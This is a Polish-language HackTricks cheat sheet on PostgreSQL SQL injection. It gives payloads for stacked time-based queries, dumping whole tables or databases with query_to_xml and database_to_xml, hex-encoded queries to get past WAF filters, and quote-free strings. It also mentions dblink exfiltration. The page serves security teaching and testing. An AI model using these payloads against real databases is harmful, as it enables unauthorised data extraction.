PostgreSQL injection
Reading time: 4 minutes
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Ta strona ma na celu wyjaśnienie różnych trików, które mogą pomóc w wykorzystaniu SQL injection znalezionego w bazie danych postgresql oraz uzupełnienie trików, które można znaleźć na https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md
Interakcja z siecią - eskalacja uprawnień, skanowanie portów, ujawnienie odpowiedzi NTLM challenge oraz exfiltracja
Moduł PostgreSQL dblink
oferuje możliwości łączenia się z innymi instancjami PostgreSQL i wykonywania połączeń TCP. Te funkcje, w połączeniu z funkcjonalnością COPY FROM
, umożliwiają działania takie jak eskalacja uprawnień, skanowanie portów i przechwytywanie odpowiedzi NTLM challenge. Aby uzyskać szczegółowe metody wykonywania tych ataków, sprawdź jak wykonać te ataki.
Przykład exfiltracji z użyciem dblink i dużych obiektów
Możesz przeczytać ten przykład, aby zobaczyć przykład CTF jak załadować dane do dużych obiektów, a następnie wyeksportować zawartość dużych obiektów w nazwie użytkownika funkcji dblink_connect
.
Ataki PostgreSQL: Odczyt/zapis, RCE, privesc
Sprawdź, jak skompromitować hosta i eskalować uprawnienia z PostgreSQL w:
{{#ref}} ../../../network-services-pentesting/pentesting-postgresql.md {{#endref}}
Ominięcie WAF
Funkcje łańcuchowe PostgreSQL
Manipulowanie łańcuchami może pomóc w ominięciu WAF-ów lub innych ograniczeń.
Na tej stroniemożesz znaleźć kilka przydatnych funkcji łańcuchowych.
Złożone zapytania
Pamiętaj, że postgresql obsługuje złożone zapytania, ale wiele aplikacji zgłosi błąd, jeśli zwrócone zostaną 2 odpowiedzi, gdy oczekiwana jest tylko 1. Jednak nadal możesz nadużywać złożonych zapytań za pomocą wstrzykiwania czasowego:
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
XML triki
query_to_xml
Ta funkcja zwróci wszystkie dane w formacie XML w zaledwie jednym pliku. Jest idealna, jeśli chcesz zrzucić dużo danych w zaledwie 1 wierszu:
SELECT query_to_xml('select * from pg_user',true,true,'');
database_to_xml
Ta funkcja zrzuci całą bazę danych w formacie XML w zaledwie 1 wierszu (bądź ostrożny, jeśli baza danych jest bardzo duża, ponieważ możesz spowodować DoS lub nawet swojego własnego klienta):
SELECT database_to_xml(true,true,'');
Strings in Hex
Jeśli możesz uruchomić zapytania przekazując je wewnątrz ciągu (na przykład używając funkcji query_to_xml
). Możesz użyć convert_from, aby przekazać ciąg jako hex i w ten sposób obejść filtry:
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h
# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
Zabronione cytaty
Jeśli nie możesz użyć cytatów w swoim ładunku, możesz to obejść za pomocą CHR
dla podstawowych klauzul (konkatenacja znaków działa tylko dla podstawowych zapytań, takich jak SELECT, INSERT, DELETE itp. Nie działa dla wszystkich instrukcji SQL):
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
Lub z $
. Te zapytania zwracają te same wyniki:
SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.